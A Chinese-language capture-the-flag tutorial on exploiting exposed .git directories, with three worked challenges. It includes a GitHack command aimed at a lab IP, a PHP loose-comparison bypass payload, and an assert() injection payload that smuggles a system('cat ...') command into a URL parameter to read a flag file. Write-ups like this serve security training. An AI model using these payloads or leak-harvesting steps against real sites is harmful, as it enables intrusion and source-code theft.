Git 源碼泄露
開發人員會使用 git 進行版本控制,對站點自動部署。但如果配置不當,可能會將 .git 文件夾直接部署到線上環境,這就引起了 git 泄露漏洞,我們可以利用這個漏洞直接獲得網頁源碼。
確定是否存在泄漏
想要確定是否存在這個漏洞,可以通過以下方式。首先是看看有沒有提示醒目地指出 Git,如果有就考慮存在。如果沒有也可以使用 dirsearch 工具掃描后台,如果存在則會掃描出 .git 目錄如圖所示。
當然也可以直接通過網頁訪問 .git 目錄,如果能訪問就說明存在。
也可以試着訪問 .git/head 文件,如果能下載也能推斷存在 Git 源碼泄露。
獲取泄露的源碼
要獲取泄露的源碼,可以使用 GitHack 工具,下載地址。GitHack 是一個 .git 泄露利用腳本,通過泄露的 .git 文件夾下的文件重建還原工程源代碼。在 cmd 命令下鍵入下面的命令,腳本就會把存在 Git 泄露的源碼全部下載下來。
GitHack.py <url>
例題:攻防世界-lottery
打開網頁,發現網頁讓我們買彩票賺錢,隨便買下試試。
看意思應該是要賺夠錢,然后在這個頁面購買才能有 flag。
首先先用御劍掃一下后台,發現有個 robot 協議文件。
打開它看到 Git,因此這個網頁應該存在 Git 源碼泄露。
使用 GitHack 掃描 url,成功把泄露的文件都下載下來。
GitHack.py http://220.249.52.133:58698/.git/
打開其中的 “api.php” 文件審計代碼,注意到這里有個 buy() 函數,這個是我們在網頁買彩票會調用的函數。其中我們看到 numbers 這個變量是我們能操作的,函數會以數組的形式提取每位數字。同時這個變量在和隨機生成的 win_numbers 變量比較時使用的是 “==”,也就是說可以用弱類型來繞過。
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i = 0; $i < 7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
由於隨機變量是數字,因此我們可以使用 true 來滿足比較,但是我們顯然不能在輸入框輸入 7 個 “true”。因此我們考慮修改數據包,通過抓包發現數據的傳輸是通過傳一個映射來上傳的。
因此抓包之后修改 numbers 變量為一個數組,其中的 7 個變量都是 true。放包之后就能夠快速賺錢了,賺夠錢后購買得到 flag。
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
例題:攻防世界-mfw
打開網頁隨便逛逛,在 about 頁面發現他使用了 Git,也就是說可能存在 Git 源碼泄露。
使用 GitHack 掃描 url,成功把泄露的文件都下載下來。
GitHack.py http://220.249.52.133:58698/.git/
注意到 templates 目錄下有個 flag.php 文件,但是這個文件直接訪問是看不到東西的,我們還是要在網頁上想辦法看到這個文件的內容。
打開 index.php 文件得到題目的源碼,源碼會接收一個 page 參數。
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
}
else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
輸出 flag 要滿足以下 2 句代碼,注意到第二句代碼是個 assert() 斷言,它可以將參數作為代碼來執行。
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false")
因此我們考慮讓斷言執行 cat 命令,直接回顯目錄下的 flag.php 文件,這樣就能看到其中的內容了。構造出的 payload 如下,上傳得到 flag。
?page=abc') or system("cat templates/flag.php");//
這個參數和上述的 file 變量替換,等同於執行了以下代碼。首先因為網頁不存在 abc 頁面,所以使用 strpos() 函數會返回 false,因此代碼會執行 or 后面的 system() 函數。最后認為添加個注釋,讓后面的代碼不要執行。
assert("strpos('templates/?page=abc') or system("cat templates/flag.php");//.php', '..') === false")
例題:JMUCTF-leak_snake
根據提示可能是 git 泄露,先訪問 .git/head 目錄確認下。
既然知道了有 git 泄露,使用 GItHack 腳本得到之前的全部版本。
現在已經有所有的需要的文件了,顯然 flag 在 flag.html 中。
注意到有 31 個版本,接下來查看一下時光機 git log。
因此我們懷疑 flag 被分散在了這 31 個文件洪,使用 git diff 兩兩比較不同,31 個相鄰的都比較。
終於搞完了,把所有的不同字符串成一句話得到 flag。